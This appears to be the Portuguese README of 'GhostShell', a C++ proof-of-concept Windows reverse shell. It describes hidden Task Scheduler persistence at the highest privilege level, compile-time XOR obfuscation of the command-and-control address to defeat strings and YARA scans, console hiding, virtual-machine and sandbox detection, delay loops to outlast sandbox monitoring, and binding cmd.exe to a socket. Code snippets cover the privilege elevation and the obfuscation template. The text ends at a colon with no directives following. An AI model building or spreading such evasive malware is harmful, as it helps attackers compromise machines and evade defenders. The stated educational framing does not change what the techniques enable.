Advanced Evasion & Persistence Toolkit
O GhostShell é uma Prova de Conceito (PoC) desenvolvida em C++20 para pesquisa em segurança ofensiva. O projeto demonstra a criação de um Reverse Shell altamente furtivo e fileless, focado na execução em memória, evasão de sandboxes dinâmicas e persistência com elevação de privilégios.
Este toolkit foi projetado estritamente para fins educacionais, dissecando a interação em baixo nível com o sistema operacional Windows para burlar heurísticas estáticas e dinâmicas.
Em vez de modificar chaves de registro altamente monitoradas (como a Run), o GhostShell estabelece comunicação direta com a API COM do Task Scheduler 2.0. O sistema inicializa via CoInitializeEx e cria uma tarefa oculta ativada no logon (TASK_TRIGGER_LOGON), solicitando TASK_RUNLEVEL_HIGHEST para garantir a sobrevivência a reboots com privilégios máximos.
// Elevação de privilégios na criação da tarefa IPrincipalPtr pPrincipal; hr = pTask->get_Principal(&pPrincipal); if (SUCCEEDED(hr)) { pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN); // Solicita os maiores privilégios disponíveis no host pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST); }
Para proteger o endereço do servidor de Comando e Controle (C2) contra extração estática (ferramentas como strings.exe ou regras YARA), o projeto utiliza um template constexpr personalizado. A URL é criptografada via XOR durante a compilação e descriptografada apenas em memória durante a execução.
// Criptografia XOR avaliada em tempo de compilação template <size_t N> class ObfuscatedString { public: static constexpr char key = 0x7A; std::array<char, N> encrypted_data; constexpr ObfuscatedString(const char* str) : encrypted_data{} { for (size_t i = 0; i < N; ++i) { encrypted_data[i] = str[i] ^ key; } } // ... };
Ocultação imediata do contexto de execução. O binário consulta a janela ativa via GetConsoleWindow() e força a chamada ShowWindow(hWnd, SW_HIDE), garantindo inicialização silenciosa.
Inspeção do host para detectar virtualização. Verifica recursos limitados (como RAM < 4GB e single core) e enumera o sistema de arquivos buscando artefatos de hypervisors conhecidos (ex: VBoxMouse.sys).
Execução de um loop matemático determinístico e intensivo para CPU, projetado para esgotar os limites de tempo de monitoramento das sandboxes dinâmicas antes de liberar o payload.
O IP e a porta alvo são extraídos dinamicamente usando a biblioteca WinInet. Os dados de conexão são armazenados apenas na memória RAM (fileless), sem tocar o disco.
Uso de WSASocketA e CreateProcessA para manipular a estrutura STARTUPINFO. Os handles de Input, Output e Error do cmd.exe são redirecionados diretamente para o socket aberto da conexão, dispensando dependências externas.
A compilação do binário é feita de forma estática para evitar a criação de dependências externas e evadir heurísticas, utilizando as seguintes diretivas: